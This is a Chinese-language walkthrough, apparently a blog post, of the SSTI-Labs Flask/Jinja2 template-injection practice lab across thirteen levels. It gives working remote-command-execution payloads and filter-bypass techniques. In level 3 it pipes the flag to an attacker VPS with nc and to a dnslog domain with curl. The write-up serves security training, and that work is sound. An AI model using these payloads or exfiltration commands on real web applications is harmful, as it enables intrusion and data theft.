level 1

前面的试探就不弄了,当然也可以试一下看自己环境有没有问题
先给出payload:{{"".__class__.__bases__[0].__subclasses__()[143].__init__.__globals__['popen']("type flag").read()}}
这里找的是os._wrap_close通过脚本搜索下标为143,初始化之后可以使用popen来打开flag,这里有一个点卡了我很久,就是"type flag"我一直使用"cat flag"得不到flag,而我一开始是不知道type这个命令的,看到SSTI-Labs靶场 - o2takuXX の blogo2takuXX の blog这篇博客才知道type命令
image-20230327201121406
通过GPT的回答应该是由于我在Windows下部署的环境导致的问题,最终使用type得到flag
image-20230327201153225
当然可以用的模块很多,可以参考一下网上其它博主的wp,这里就不一一列举了

level 2

这一关过滤了{{`可以用`{% %}`来绕过,`{% %}`用于执行python代码所以直接print一下就行 payload:`{%print("".__class__.__bases__[0].__subclasses__()[143].__init__.__globals__['popen']("type flag").raead())%}` ![image-20230327201213126](https://raw.githubusercontent.com/Joker2763/img/master/blogimg/202303272012396.png) 这里也放一下import方法实现便于我自己以后查看,在`_frozen_importlib._ModuleLock`模块中有import方法,搜索下标为100 payload:`{%print(''.__class__.__bases__[0].__subclasses__()[100].__init__.__globals__['__import__']('os').popen("type flag").read())%}` 这种方法是通过import方法导入os模块执行popen函数来实现的 ## level 3 这一关是没有回显,可以通过外带到vps来得到flag,也可以利用dnslog 先看外带到vps `{{''.__class__.__bases__[0].__subclasses__()[100].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag|nc vps port').read()")}}
同样是利用_frozen_importlib._ModuleLock模块中的方法但是这里就多了一个__builtins__这个模块返回一个由内建函数(即python自带函数)函数名组成的列表
image-20230327201230329
理解这个方法执行就可以看懂payload了,前面的原理没变,__builtins__是object的一个子类,所以前面导入了object就可以搜寻到__builtins__就相当于导入了,eval是内置函数所以__builtins__可以直接调用,然后导入os模块,type flag先找到flag目录通过nc命令输出到自己的vps上,Windows下需要自己安装一下nc命令,这时候真感觉将环境部署到Linux下方便很多
image-20230327201251069
然后看一下外带到dnslog上的payload

1
{{''.__class__.__bases__[0].__subclasses__()[100].__init__.__globals__['__builtins__'].eval("__import__('os').popen('curl http://`type flag`.ou7jiq.dnslog.cn').read()")}}

然后报错了,没解决先放着
image-20230327201306652

level 4

这一关过滤了[]使用遍历来绕过,配合__getitem__魔术方法进行取值
payload:{% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('type flag').read()}}{% endif %}{% endfor %}
这个payload的前半部分相当于

1
2
3
for i in ''.__class__.__base__.__subclasses__():
if i.__name__=='Popen'
需要执行的内容

执行payload得到flag
image-20230327201322430

level 5

这一关过滤了单双引号,使用request进行绕过

1
2
3
4
5
6
7
8
request              #request.__init__.__globals__['__builtins__']
request.args.x1 #get传参
request.values.x1 #所有参数
request.cookies #cookies参数
request.headers #请求头参数
request.form.x1 #post传参 (Content-Type:applicaation/x-www-form-urlencoded或 multipart/form-data)
request.data #post传参 (Content-Type:a/b)
request.json #post传json (Content-Type: application/json)

然后看payload一下就能理解了
get:?arg1=__builtins__&arg2=__import__('os').popen('type flag').read()
post:code={{().__class__.__base__.__subclasses__()[100].__init__.__globals__[request.values.arg1].eval(request.values.arg2)}}
image-20230327201347018

level 6

过滤了下划线_使用|attr过滤器,类似于Linux中的管道符|用前面的输出作为后面的操作对象

1
2
3
""|attr("__class__")
相当于
"".__class__

get:?arg1=__init__&arg2=__globals__&arg3=__getitem__&arg4=__builtins__&arg5=__import__('os').popen('type flag').read()
post:code={{(x|attr(request.values.arg1)|attr(request.values.arg2)|attr(request.values.arg3))(request.values.arg4).eval(request.values.arg5)}}
image-20230327205244185

level 7

过滤了点.使用中括号进行绕过来拼接因为点的功能就是拼接中括号也有这一功能
将前面的payload改写一下
{{''.__class__.__base__.__subclasses__()[100].__init__.__globals__['__import__']('os').popen("type flag").read()}}
然后用中括号将点替换
{{''['__class__']['__base__']['__subclasses__']()[100]['__init__']['__globals__']['__import__']('os')['popen']("type flag")['read']()}}
image-20230327202039586

level 8

这关过滤了一堆关键字,本来想fuzz一下但是没找到字典直接看wp的吧
"class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"
字符串拼接绕过
{{''['__cla''ss__']['__ba''se__']['__subcla''sses__']()[100]['__in''it__']['__glo''bals__']['__import__']('os')['pop''en']("type flag")['read']()}}
image-20230328105734102

level 9

过滤了数字即限制索引使用__getitem__绕过
payload:{{x.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('type flag').read()")}}
image-20230328105751445
使用lipsum,flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}

payload:{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("type flag")|attr("read")()}}
也能打通

level 10

该题waf:set config = None,目标是得到config即配置文件而不是flag
这题可以通过url_for()或者get_flashed_messages()方法配合
url_for() —- flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app

get_flashed_messages() —- flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app

current_app —- 应用上下文,一个全局变量。
payload: {{get_flashed_messages.__globals__['current_app'].config}}
image-20230328105809669
很奇怪这里利用url_for()失败了

level 11

这一关过滤了单引号' 双引号" 加号+ 关键字request 点号. 方括号[]
感觉这关还是挺难的
先看一些过滤器吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
常用的过滤器

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count

先确定一个利用的payload
{{lipsum.__globals__.get('os').popen('type flag').read()}}
然后就是通过set设置变量搭配join进行替换绕过
通过{{lipsum|string|list}`获得一个字符串列表,然后通过pop函数可以取出使用

1
Hello ['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '0', '0', '0', '0', '0', '1', '8', '3', '3', 'A', '3', 'F', 'E', 'D', '4', '0', '>']
使用`|attr`将`.`替换,得到 `{{lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("type flag")|attr("read")()}}
然后构造字符绕过引号限制

1
2
3
4
{% set g=dict(get=1) | join %}
{% set o=dict(os=1) | join %}
{% set p=dict(popen=1) |join %}
{% set r=dict(read=1) | join %}

此时payload为
{{lipsum|attr("__globals__")|attr(g)(o)|attr(p)("type flag")|attr(r)()}}
然后再构造"__globals__"
先看下划线构造方法

1
2
{% set pop=dict(pop=1)|join %}
{% set underline=(lipsum|string|list)|attr(pop)(18) %}

然后将下划线和globals拼接赋值给global形成"__globals__"
{% set global=(underline,underline,dict(globals=1)|join,underline,underline)|join%}
此时payload为
{{lipsum|attr(global)|attr(g)(o)|attr(p)("type flag")|attr(r)()}}
然后再构造"type flag"

1
2
{% set t=dict(type=1)|join %}
{% set f=dict(flag=1)|join %}

中间有个空格,构造个空格
{% set space=(lipsum|string|list)|attr(pop)(9) %}
然后拼接赋值给一个新变量
{% set cmd=(t,space,f)|join%}
到这里构造完成,此时的payload为
{{lipsum|attr(global)|attr(g)(o)|attr(p)(cmd)|attr(r)()}}
然后综合起来得到最终flag

1
2
3
4
5
6
7
8
9
10
11
12
{% set g=dict(get=1)|join%}
{% set o=dict(os=1)|join%}
{% set p=dict(popen=1)|join%}
{% set r=dict(read=1)|join%}
{% set pop=dict(pop=1)|join %}
{% set underline=(lipsum|string|list)|attr(pop)(18) %}
{% set global=(underline,underline,dict(globals=1)|join,underline,underline)|join%}
{% set t=dict(type=1)|join %}
{% set f=dict(flag=1)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9) %}
{% set cmd=(t,space,f)|join%}
{{lipsum|attr(global)|attr(g)(o)|attr(p)(cmd)|attr(r)()}}

image-20230328105827313

level 12

这一关过滤了下划线_,点.,数字0-9,反斜杠\,单引号',双引号",方括号[]
就拿上题的payload,只不过需要加上9和18的构造,因为这两个数字被过滤无法直接使用下标
字符串列表获取和上一关一样,这里就不再弄了
思路就是利用函数index来获取索引位置的数字,然后利用数字相乘得到9和18,这里下划线被过滤了,不然可以直接得到18
先构造index函数
{% set index=dict(index=a)|join %}
然后获取2和3,通过2*3*33*3得到9和18

1
2
3
4
{% set u=dict(u=a)|join %}
{% set n=dict(n=a)|join %}
{% set two=(lipsum|string|list)|attr(index)(u) %}
{% set three=(lipsum|string|list)|attr(index)(n) %}

加上11关的payload,将数字替换即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{% set index=dict(index=a)|join%}
{% set u=dict(u=a)|join%}
{% set n=dict(n=a)|join%}
{% set two=(lipsum|string|list)|attr(index)(u)%}
{% set three=(lipsum|string|list)|attr(index)(n)%}
{% set g=dict(get=a)|join%}
{% set o=dict(os=a)|join%}
{% set p=dict(popen=a)|join%}
{% set r=dict(read=a)|join%}
{% set pop=dict(pop=a)|join%}
{% set underline=(lipsum|string|list)|attr(pop)(two*three*three)%}
{% set global=(underline,underline,dict(globals=a)|join,underline,underline)|join%}
{% set t=dict(type=a)|join %}
{% set f=dict(flag=a)|join %}
{% set space=(lipsum|string|list)|attr(pop)(three*three)%}
{% set cmd=(t,space,f)|join%}
{{lipsum|attr(global)|attr(g)(o)|attr(p)(cmd)|attr(r)()}}

image-20230328105842324

level 13

这一关过滤了_,点.,反斜杠\,单引号',双引号",方括号[],加号+,以及一些关键字
'class', 'init', 'arg', 'config', 'app', 'self'
但是11关的payload刚刚好避开了,所以直接用

1
2
3
4
5
6
7
8
9
10
11
12
{% set g=dict(get=1)|join%}
{% set o=dict(os=1)|join%}
{% set p=dict(popen=1)|join%}
{% set r=dict(read=1)|join%}
{% set pop=dict(pop=1)|join %}
{% set underline=(lipsum|string|list)|attr(pop)(18) %}
{% set global=(underline,underline,dict(globals=1)|join,underline,underline)|join%}
{% set t=dict(type=1)|join %}
{% set f=dict(flag=1)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9) %}
{% set cmd=(t,space,f)|join%}
{{lipsum|attr(global)|attr(g)(o)|attr(p)(cmd)|attr(r)()}}

image-20230328105854397

参考:
SSTI-Labs靶场 - o2takuXX の blogo2takuXX の blog
Flask SSTI LAB攻略 – JohnFrod’s Blog
SSTI模板注入绕过(进阶篇)_ssti绕过_yu22x的博客-CSDN博客
SSTI进阶 | 沉铝汤的破站 (chenlvtang.top)